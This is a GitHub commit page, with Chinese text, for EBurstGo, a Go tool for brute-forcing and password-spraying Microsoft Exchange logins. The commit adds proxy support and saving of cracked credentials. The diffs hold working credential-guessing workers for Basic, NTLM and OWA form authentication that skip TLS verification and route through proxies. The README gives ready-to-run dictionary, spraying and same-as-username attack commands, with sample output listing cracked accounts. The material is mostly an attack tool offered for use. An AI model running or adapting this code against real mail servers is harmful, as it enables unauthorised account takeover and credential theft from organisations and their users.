Skip to content

Commit

Permalink
feat: 保存爆破结果, socks/http(s) 代理
Browse files Browse the repository at this point in the history
1. 支持保存爆破结果至文件
2. 支持 socks/http(s) 代理
  • Loading branch information
X1r0z committed Aug 10, 2023
1 parent fc95957 commit acd971a
Show file tree
Hide file tree
Showing 8 changed files with 174 additions and 81 deletions.
46 changes: 40 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -35,20 +35,29 @@ Usage of ./EBurstGo:
指定 Exchange Web 接口
-nocolor
关闭输出颜色
-nosave
不将结果输出至文件
-o string
指定结果输出文件 (default "result.txt")
-pass string
指定密码
-passf string
密码字典
-thread int
-proxy string
指定 socks/http(s) 代理
-t int
协程数量 (default 2)
-url string
Exchange 服务器地址
-user string
指定用户名
-user-as-pass
指定密码与用户名相同
-userf string
用户名字典
-verbose
显示详细信息
-userpassf string
指定用户名密码字典 (user:pass)
-v 显示详细信息
```

check
Expand All @@ -69,17 +78,42 @@ $ ./EBurstGo -url https://192.168.30.11 -check

brute

默认会将爆破成功的账户追加写入 result.txt

```shell
# 常规爆破
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews

# 指定用户名
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -user Alice -passf pass.txt -mode ews

# 密码喷洒
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -pass 'Changeme123' -mode ews

# 支持 user:pass 格式的字典
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userpassf userpass.txt -mode ews

# 密码与用户名相同
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -user-as-pass -mode ews

# 设置 socks/http(s) 代理
./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews -socks socks5://127.0.0.1:1080
```

examples

```shell
$ ./EBurstGo -url https://192.168.30.11 -domain hack-my.com -userf user.txt -passf pass.txt -mode ews
[*] 使用 ews 接口爆破: https://192.168.30.11
[*] 用户名:7 密码:9 共计:63
[*] 使用 ews 接口爆破: https://192.168.30.11
[+] 成功: Administrator:abcd1234!@#$
[+] 成功: Alice:Alice123!
[+] 成功: Bob:Bob123!
[+] 成功: Marry:Marry123!
[*] 耗时: 3.031753209s
```

todo
- 开启代理爆破一段时间会出现 `connection refused`, 待解决
## Todo

- 开启代理使用 NTLM 认证爆破一段时间后出现 `connection refused`, 待解决
- `/powershell` 接口 (Kerberos 认证) 待支持
26 changes: 24 additions & 2 deletions lib/basicbrute.go
Original file line number Diff line number Diff line change
@@ -1,7 +1,9 @@
package lib

import (
"crypto/tls"
"net/http"
"net/url"
"time"
)

Expand All @@ -13,16 +15,36 @@ func BasicBruteWorker(info *TaskInfo) {
continue
}
Log.Debug("[*] 尝试: %v:%v", username, password)

var client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateOnceAsClient,
},
Proxy: func(_ *http.Request) (*url.URL, error) {
if info.proxy != "" {
return url.Parse(info.proxy)
} else {
return nil, nil
}
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

req, _ := http.NewRequest("OPTIONS", info.u, nil)
req.SetBasicAuth(info.domain+"\\"+username, password)
req.Header.Add("Connection", "close")
res, err := Client.Do(req)
res, err := client.Do(req)
if err != nil {
panic(err)
}
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
Log.Success("[+] 成功: %v", username+":"+password)
info.done.Set(username)
info.done.Set(username, password, info.o)
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
Expand Down
58 changes: 58 additions & 0 deletions lib/common.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
package lib

import (
"os"
"sync"
)

var ExchangeUrls = map[string]string{
"autodiscover": "/autodiscover",
"ews": "/ews",
"mapi": "/mapi",
"activesync": "/Microsoft-Server-ActiveSync",
"oab": "/oab/global.asax",
"rpc": "/rpc",
"owa": "/owa/auth.owa",
"powershell": "/powershell",
"ecp": "/owa/auth.owa",
}

var Log *Logging

type TaskInfo struct {
targetUrl string
mode string
u string
domain string
task chan []string
done *DoneMap
delay int
proxy string
o string
}

type DoneMap struct {
mu sync.RWMutex
done map[string]string
}

func (c *DoneMap) Get(user string) bool {
c.mu.RLock()
defer c.mu.RUnlock()
_, ok := c.done[user]
return ok
}

func (c *DoneMap) Set(user string, pass string, o string) {
c.mu.Lock()
defer c.mu.Unlock()
c.done[user] = pass
if o != "" {
fp, _ := os.OpenFile(o, os.O_CREATE|os.O_WRONLY|os.O_APPEND|os.O_SYNC, 0644)
defer fp.Close()
fp.WriteString(user + ":" + pass)
fp.WriteString("\n")
}
}

type BruteWorker func(info *TaskInfo)
25 changes: 23 additions & 2 deletions lib/httpbrute.go
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
package lib

import (
"crypto/tls"
"net/http"
"net/url"
"strings"
Expand All @@ -23,6 +24,26 @@ func HttpBruteWorker(info *TaskInfo) {
continue
}
Log.Debug("[*] 尝试: %v:%v", username, password)

var client = &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateOnceAsClient,
},
Proxy: func(_ *http.Request) (*url.URL, error) {
if info.proxy != "" {
return url.Parse(info.proxy)
} else {
return nil, nil
}
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

form := url.Values{
"destination": {refUrl},
"flags": {"4"},
Expand All @@ -39,7 +60,7 @@ func HttpBruteWorker(info *TaskInfo) {
req.Header.Set("Cookie", "PrivateComputer=true; PBack=0")
req.Header.Set("Connection", "close")

res, err := Client.Do(req)
res, err := client.Do(req)
if err != nil {
panic(err)
}
Expand All @@ -49,7 +70,7 @@ func HttpBruteWorker(info *TaskInfo) {
Log.Failed("[-] 失败: %v", username+":"+password)
} else if !strings.Contains(location, "reason") {
Log.Success("[+] 成功: %v", username+":"+password)
info.done.Set(username)
info.done.Set(username, password, info.o)
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
Expand Down
11 changes: 10 additions & 1 deletion lib/ntlmbrute.go
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@ import (
"crypto/tls"
"github.com/Azure/go-ntlmssp"
"net/http"
"net/url"
"time"
)

Expand All @@ -23,12 +24,20 @@ func NtlmBruteWorker(info *TaskInfo) {
InsecureSkipVerify: true,
Renegotiation: tls.RenegotiateOnceAsClient,
},
Proxy: func(_ *http.Request) (*url.URL, error) {
if info.proxy != "" {
return url.Parse(info.proxy)
} else {
return nil, nil
}
},
},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}

req, _ := http.NewRequest("GET", info.u, nil)
req.SetBasicAuth(info.domain+"\\"+username, password)
res, err := client.Do(req)
Expand All @@ -37,7 +46,7 @@ func NtlmBruteWorker(info *TaskInfo) {
}
if res.StatusCode != 401 && res.StatusCode != 408 && res.StatusCode != 504 {
Log.Success("[+] 成功: %v", username+":"+password)
info.done.Set(username)
info.done.Set(username, password, info.o)
} else {
Log.Failed("[-] 失败: %v", username+":"+password)
}
Expand Down
39 changes: 5 additions & 34 deletions lib/run.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,38 +6,7 @@ import (
"time"
)

type TaskInfo struct {
targetUrl string
mode string
u string
domain string
task chan []string
done *DoneMap
delay int
}

type DoneMap struct {
mu sync.RWMutex
done map[string]struct{}
allDone bool
}

func (c *DoneMap) Get(user string) bool {
c.mu.RLock()
defer c.mu.RUnlock()
_, ok := c.done[user]
return ok
}

func (c *DoneMap) Set(user string) {
c.mu.Lock()
defer c.mu.Unlock()
c.done[user] = struct{}{}
}

type BruteWorker func(info *TaskInfo)

func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, n int, delay int, worker BruteWorker) {
func BruteRunner(targetUrl string, mode string, domain string, dict [][]string, t int, delay int, proxy string, o string, worker BruteWorker) {

authPath := ExchangeUrls[mode]
u, _ := url.JoinPath(targetUrl, authPath)
Expand All @@ -46,7 +15,7 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string,
t1 := time.Now()

task := make(chan []string, len(dict))
done := &DoneMap{done: make(map[string]struct{})}
done := &DoneMap{done: make(map[string]string)}

info := &TaskInfo{
targetUrl: targetUrl,
Expand All @@ -56,6 +25,8 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string,
task: task,
done: done,
delay: delay,
proxy: proxy,
o: o,
}

for _, data := range dict {
Expand All @@ -66,7 +37,7 @@ func BruteRunner(targetUrl string, mode string, domain string, dict [][]string,

var wg sync.WaitGroup

for i := 0; i < n; i++ {
for i := 0; i < t; i++ {
wg.Add(1)
go func() {
defer wg.Done()
Expand Down
32 changes: 0 additions & 32 deletions lib/util.go

This file was deleted.

Loading

0 comments on commit acd971a

Please sign in to comment.